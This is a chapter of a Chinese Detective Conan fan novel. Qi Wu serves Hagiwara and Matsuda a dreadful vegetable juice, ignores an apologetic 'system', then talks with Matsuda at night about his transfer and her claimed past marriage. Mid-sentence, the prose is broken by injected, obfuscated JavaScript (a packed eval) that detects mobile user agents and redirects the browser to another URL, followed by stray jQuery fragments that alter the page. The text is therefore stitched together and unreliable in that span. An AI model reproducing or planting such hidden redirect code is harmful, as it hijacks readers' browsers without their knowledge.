11. 刻意

作品:《好友组在名柯的花式签到

    低声说话的两人并没有注意到,祁雾已经把他们的话听了进去。


    【宿主,我真的错了,你什么时候原谅我。】系统卑微,它意识到,不仅是人类不能接受冷暴力,系统也不能。


    呜呜呜,从医院醒来到现在已经快三个月了,祁雾都没有搭理过它,不管它怎么说话,说什么,祁雾都像自动屏蔽了它一样。


    为此,系统陆陆续续主动送上了敏锐的五感,超强的身手和枪法,以及绝佳的身材。


    这么多的东西,不都是大家想要的吗?它都统统奉上,乞求对方搭理它。


    理亏在前,作为一个身经百战的系统,犯下低级错误,差点让宿主死掉,要是被老大知道,它的数据海一定被重置的。


    祁雾还是不理它,蔬果汁榨好,颜色绿得发黑,像毒药似的。


    她满意地点点头,拿了个托盘把东西端过来,说话的两个人噤声看过去,未语先笑,然后,笑意凝固。


    “小雾,你这个蔬果汁······”萩原为难地欲言又止。


    “你是女巫吗?”松田阵平在蔬果汁递过来的瞬间下意识往后躲了一下。


    祁雾强硬地把杯子放在了他们手里,“很厉害对不对,你们快尝尝,我新学的。”


    萩原研二和松田阵平对视一眼:“真的吗!小阵平很期待的样子,他先尝尝吧。”


    “我。”


    “那松田快试试吧,对身体很好的哦。”说着,像是为了验证自己没说假话,将自己那杯一口喝了三分之一,“真的很好喝的。”


    真的吗?好像没有看上去那么吓人。


    松田阵平被对方的表情安慰到了,纠结地拿起蔬果汁,视死如归地仰头喝下去。


    【你们真傻,真的,祁雾就不是正常人啊,你们都被她的外表骗了。】系统旁观这一切,默默在自己系统空间里说着,众人皆醉我独醒。


    松田阵平的眼神骤然一变,这是什么奇怪的口感,黏黏腻腻滑滑,又苦又辣又酸又咸,什么蔬菜能够榨出这种味道,新型的核武器版蔬菜?


    “很好喝。”他强烈控制住自己的表情,努力遗忘口中让人作呕的口感,“外表丑了点,味道还是不错的。”


    萩原研二拉长尾音“啊”了一声,将自己那杯递了过去,“小阵平喜欢的话就把我这杯一起喝了吧,正好我更喜欢喝酒,最近吃了很多天的蔬菜沙拉,暂时不想再吃相关的东西。”


    “祁雾亲手给我们榨的,每人一杯,研二还是自己喝吧。”


    萩原竟然看出来了!松田看着笑盈盈的男人,把那杯蔬果汁又推了回去,刚才他应该再忍住点。


    他真的没想到,祁雾深藏不露,还有这种特长。


    越危险的越无害,果然如此。


    祁雾淡定地看他们两互相推让,下了决定,“萩原喝了再喝酒,会感觉舒服得多哦。”


    笑容僵硬,松田松开手,冲他挑眉,“是啊,萩-原-。”


    萩原研二只能应好,“怎么能让女孩子失望呢,当然需要好好尝一尝。”


    他安慰自己,应该不会难喝到哪里去,如果眼皮没有跳得这么厉害,如果松田没有一口气喝下去一罐啤酒。


    他应该出去吃的。萩原反思。


    他应该出去吃的。艰难咽下蔬果汁后,萩原再次后悔在家做饭的决定。


    喉咙管好像被黏住了······


    萩原研二看向好友,松田阵平眼里的戏谑明显,双手环抱,明显开心了。


    他无奈地笑了笑,“好喝好喝,吃饭吧!”


    味增汤、纳豆、炸猪排、煎鱼块、清洗切好的蔬菜,还有白米饭。


    很难做得难吃,但能做得普通不出错,可萩原还能做出一分古怪,说难吃到什么程度,不至于,但觉得评价普通,又好像差一点。


    祁雾没有口腹之欲,她什么都能吃,什么都敢吃,在华国的时候参加国际版野外求生,各种稀奇古怪口感恶心的东西,她能够毫无负担且面无表情地品尝。


    是的,品尝,给出评价的那种。


    她不是分不清美味与否,只是不在意。


    【宿主,你榨的蔬果汁做配,真的不会串味吗?】


    习惯没有答复,系统露出尴尬符号。


    有女孩子在,明天又要上班,萩原研二和松田阵平本来没打算喝多少,看祁雾买的啤酒度数也低,就没有在意,然而十分钟后,萩原研二倒下了。


    松田阵平因为酒意脸色有些红,他动了动对方:“萩原,醉了?”


    不应该啊,萩原的酒量并不差。


    祁雾看到事情按照自己预料的发展了,缓缓开口:“阵平。”


    这是她几个月以来第一次叫阵平,而不是松田。


    确定好友真的只是喝醉了,松田阵平好笑,打算明天狠狠嘲笑对方。


    从女人口中听到这个称呼,他微微一僵,“怎么了?”突然这么叫。


    “你被调去搜查一课了。”不是询问,是陈述。


    “那又怎么了。”果然是为了这个,松田阵平一脸无所谓。


    “是因为我吗?”祁雾望着她,“还是因为那枚炸弹。”


    她不是名柯的忠实粉丝,但也知道松田阵平应该在爆1炸1物处理班,是因为好友死在爆炸案中,想要调查真相才调去的搜查一课,即便这个名柯世界有所区别,也不该在那。


    “关你什么事?”松田阵平被她眼里的担忧和自责刺痛,移开目光。


    他起身,推开门走出去,祁雾也跟在后面。


    点燃了烟,白色的烟雾向上飘升。


    松田阵平两只手肘撑在看台上,黑色衬衫最上面的两颗纽扣解开,因为热挽起了袖子,露出流畅肌肉线条的小臂。


    西装裤显得腿长且直,皮带显出了腰臀。


    黑色卷发被他随意地薅了一把,多了几分不羁。


    祁雾在靠近他时,减缓了脚步,最后,落在他右后方半步处。


    “我不需要你照顾我。”祁雾对着他的背影道,“有人对我说,你是一个很活泼外向的人,我想要看那样的松田阵平。你没有必要对我负责,阵平,我想你对自己负责。”


    她其实清楚,伊藤财团的爆炸案需要一个解释,下面查不到是谁干的,上面又要说法,伤亡不严重,却还是得给出说法。


    松田阵


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17210629|197202||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    平负责拆除炸弹,炸弹却重启,现场还有两个未被疏散的无辜的人,上头要罚,他是个好人选。


    勾心斗角、权衡利弊,不管在哪里都存在。


    但他是无辜的,他不是刚毕业的愣头青,爆炸班,他已经待了四年了,没有人比他更不想爆炸发生,炸弹拆除。


    大家都知道。


    上面给的处罚是停职三个月,写检讨,这个处罚已经重了。


    “阵平,你为什么申请调去搜查一课。”


    为什么呢。


    祁雾其实并不在意。


    “阿雾,你当时为什么要扑上来?”松田阵平的声音跟着晚风飘到耳边,似乎夹杂了他身上浅淡的沐浴露香。


    他是不爱抽烟的,准确的说,没有烟瘾,只有烦闷的时候来一根。


    萩原才是经常嘴里叼着根烟。


    松田阵平想不明白,他想了很久。


    巨大的爆炸轰鸣声让他的世界变得隔绝,一切变成了慢动作,所以,祁雾毫不犹豫扑上来的决心与动作就这么在他眼前,拆分成了一帧又一帧。


    人有趋利避害的天然属性,面对危险的恐惧、逃跑是本能,保护一个陌生人,为什么。


    问题的答案似乎很简单,又让他觉得很困惑。


    他进入警校的初衷并不高大,日复一日的训练和教导里,某些东西自然而然地生根发芽,责任刻在血肉上,看不见,却不会消失。


    他会救人,但他没有想过,别人会来救他。


    如此直面,如此不假思索。


    换做别的人,例如萩原,毫无疑问,他们会毫不犹豫为对方百千次,生死面前,如果只有一个机会,他们也会想给对方。


    但是,这是一个陌生的,瘦小的女人。


    “我没有给你说过我的故事吧。”祁雾上前半步,贴近了他,垂着眼从他手里拿过那支烟,放进自己的嘴里。


    “那是······”


    松田看到她平直的唇线,将后面的话咽了下去。


    接近三个月,他们之间,已经算是熟悉,可现在,他不确定了。


    逢人就带笑,说话轻声细语的人现在面色平淡,抽烟的动作娴熟,吐烟的时候唇轻启一条小缝,缓慢轻舒。


    松田阵平知道她长得好看,标准的东方华国美人,华国有个词语,眉目如画,大概就是这样。


    夜色里,月光太柔和,倾泻下来,如银河瀑布,将女人笼罩。


    他听见她说:“松田,我结过婚。”


    故事要怎么去讲述,祁雾已经排演了许多遍,信手拈来。


    松田阵平却被这一句话震得反应不过来,他一只手按在了看台上,眼里有些迷茫,“等等,你说什么?”


    祁雾发笑,她笑起来眼睛里如同星星碎片坠落,漂亮得不像话。


    “我说,我结过婚。”祁雾顿了一下,“并且,有一个五岁的孩子。”


    按照身份卡而言,并没有错。


    祁雾期待对方的反应,松田阵平却站在原地,就在祁雾以为需要继续说下去时,他发出了拔高音量的质问。


    “那个不负责任的男人为什么都不出现!”